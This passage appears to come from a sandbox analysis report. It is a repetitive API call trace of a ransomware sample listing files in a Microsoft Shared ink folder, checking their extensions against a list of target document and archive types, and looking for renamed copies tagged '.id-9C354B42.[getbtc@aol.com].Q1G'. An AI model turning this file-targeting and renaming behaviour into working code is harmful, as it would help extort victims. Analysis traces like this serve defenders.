Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString=".jpg") returned 4 [0037.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString=".doc") returned 4 [0037.831] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".docx") returned 5 [0037.831] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.831] lstrlenW (lpString=".pdf") returned 4 [0037.831] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".xls") returned 4 [0037.831] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".xlsx") returned 5 [0037.831] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.831] lstrlenW (lpString=".ppt") returned 4 [0037.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString=".zip") returned 4 [0037.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.831] lstrlenW (lpString=".rar") returned 4 [0037.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".bz2") returned 4 [0037.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".7z") returned 3 [0037.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString=".dbf") returned 4 [0037.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.831] lstrlenW (lpString=".1cd") returned 4 [0037.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0037.832] lstrlenW (lpString=".jpg") returned 4 [0037.832] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.832] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0037.832] lstrlenW (lpString="boxed-correct.avi") returned 17 [0037.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.838] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=89600) returned 1 [0037.838] CloseHandle (hObject=0x1c4) returned 1 [0037.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0037.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.842] lstrlenW (lpString=".doc") returned 4 [0037.842] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".docx") returned 5 [0037.842] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0037.842] lstrlenW (lpString=".pdf") returned 4 [0037.842] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".xls") returned 4 [0037.842] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".xlsx") returned 5 [0037.842] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0037.842] lstrlenW (lpString=".ppt") returned 4 [0037.842] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.842] lstrlenW (lpString=".zip") returned 4 [0037.842] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".rar") returned 4 [0037.842] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".bz2") returned 4 [0037.842] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.842] lstrlenW (lpString=".7z") returned 3 [0037.842] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.842] lstrlenW (lpString=".dbf") returned 4 [0037.843] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".1cd") returned 4 [0037.843] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".jpg") returned 4 [0037.843] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".doc") returned 4 [0037.843] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".docx") returned 5 [0037.843] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0037.843] lstrlenW (lpString=".pdf") returned 4 [0037.843] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".xls") returned 4 [0037.843] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".xlsx") returned 5 [0037.843] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0037.843] lstrlenW (lpString=".ppt") returned 4 [0037.843] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".zip") returned 4 [0037.843] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".rar") returned 4 [0037.843] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".bz2") returned 4 [0037.843] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString=".7z") returned 3 [0037.843] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".dbf") returned 4 [0037.843] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.843] lstrlenW (lpString=".1cd") returned 4 [0037.844] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0037.844] lstrlenW (lpString=".jpg") returned 4 [0037.844] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.844] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0037.844] lstrlenW (lpString="boxed-delete.avi") returned 16 [0037.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.845] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=31744) returned 1 [0037.845] CloseHandle (hObject=0x1c4) returned 1 [0037.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0037.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.845] lstrlenW (lpString=".doc") returned 4 [0037.845] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.845] lstrlenW (lpString=".docx") returned 5 [0037.845] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0037.845] lstrlenW (lpString=".pdf") returned 4 [0037.845] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.845] lstrlenW (lpString=".xls") returned 4 [0037.845] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.845] lstrlenW (lpString=".xlsx") returned 5 [0037.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0037.846] lstrlenW (lpString=".ppt") returned 4 [0037.846] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString=".zip") returned 4 [0037.846] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".rar") returned 4 [0037.846] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".bz2") returned 4 [0037.846] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".7z") returned 3 [0037.846] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString=".dbf") returned 4 [0037.846] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString=".1cd") returned 4 [0037.846] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString=".jpg") returned 4 [0037.846] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.846] lstrlenW (lpString=".doc") returned 4 [0037.846] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".docx") returned 5 [0037.846] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0037.846] lstrlenW (lpString=".pdf") returned 4 [0037.846] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".xls") returned 4 [0037.846] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString=".xlsx") returned 5 [0037.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0037.846] lstrlenW (lpString=".ppt") returned 4 [0037.846] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.847] lstrlenW (lpString=".zip") returned 4 [0037.847] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.847] lstrlenW (lpString=".rar") returned 4 [0037.847] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.847] lstrlenW (lpString=".bz2") returned 4 [0037.847] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.847] lstrlenW (lpString=".7z") returned 3 [0037.847] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.847] lstrlenW (lpString=".dbf") returned 4 [0037.847] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.847] lstrlenW (lpString=".1cd") returned 4 [0037.847] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0037.847] lstrlenW (lpString=".jpg") returned 4 [0037.847] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.847] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0037.847] lstrlenW (lpString="boxed-join.avi") returned 14 [0037.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.847] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=33280) returned 1 [0037.847] CloseHandle (hObject=0x1c4) returned 1 [0037.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0037.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString=".doc") returned 4 [0037.848] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".docx") returned 5 [0037.848] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0037.848] lstrlenW (lpString=".pdf") returned 4 [0037.848] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".xls") returned 4 [0037.848] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".xlsx") returned 5 [0037.848] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0037.848] lstrlenW (lpString=".ppt") returned 4 [0037.848] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString=".zip") returned 4 [0037.848] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".rar") returned 4 [0037.848] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".bz2") returned 4 [0037.848] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString=".7z") returned 3 [0037.848] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString=".dbf") returned 4 [0037.848] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString=".1cd") returned 4 [0037.848] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.848] lstrlenW (lpString=".jpg") returned 4 [0037.849] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString=".doc") returned 4 [0037.849] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".docx") returned 5 [0037.849] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0037.849] lstrlenW (lpString=".pdf") returned 4 [0037.849] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".xls") returned 4 [0037.849] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".xlsx") returned 5 [0037.849] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0037.849] lstrlenW (lpString=".ppt") returned 4 [0037.849] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString=".zip") returned 4 [0037.849] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".rar") returned 4 [0037.849] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".bz2") returned 4 [0037.849] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString=".7z") returned 3 [0037.849] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString=".dbf") returned 4 [0037.849] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString=".1cd") returned 4 [0037.849] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0037.849] lstrlenW (lpString=".jpg") returned 4 [0037.849] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.850] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0037.850] lstrlenW (lpString="boxed-split.avi") returned 15 [0037.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.850] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=62976) returned 1 [0037.850] CloseHandle (hObject=0x1c4) returned 1 [0037.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0037.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.850] lstrlenW (lpString=".doc") returned 4 [0037.850] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.850] lstrlenW (lpString=".docx") returned 5 [0037.850] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0037.850] lstrlenW (lpString=".pdf") returned 4 [0037.850] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.850] lstrlenW (lpString=".xls") returned 4 [0037.850] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.850] lstrlenW (lpString=".xlsx") returned 5 [0037.850] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0037.850] lstrlenW (lpString=".ppt") returned 4 [0037.850] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".zip") returned 4 [0037.851] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".rar") returned 4 [0037.851] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".bz2") returned 4 [0037.851] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".7z") returned 3 [0037.851] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".dbf") returned 4 [0037.851] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".1cd") returned 4 [0037.851] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".jpg") returned 4 [0037.851] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".doc") returned 4 [0037.851] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".docx") returned 5 [0037.851] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0037.851] lstrlenW (lpString=".pdf") returned 4 [0037.851] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".xls") returned 4 [0037.851] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString=".xlsx") returned 5 [0037.851] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0037.851] lstrlenW (lpString=".ppt") returned 4 [0037.851] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.851] lstrlenW (lpString=".zip") returned 4 [0037.852] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.852] lstrlenW (lpString=".rar") returned 4 [0037.852] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.852] lstrlenW (lpString=".bz2") returned 4 [0037.852] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.852] lstrlenW (lpString=".7z") returned 3 [0037.852] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.852] lstrlenW (lpString=".dbf") returned 4 [0037.852] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.852] lstrlenW (lpString=".1cd") returned 4 [0037.852] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0037.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0037.852] lstrlenW (lpString=".jpg") returned 4 [0037.852] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0037.852] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0037.852] lstrlenW (lpString="correct.avi") returned 11 [0037.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0037.852] 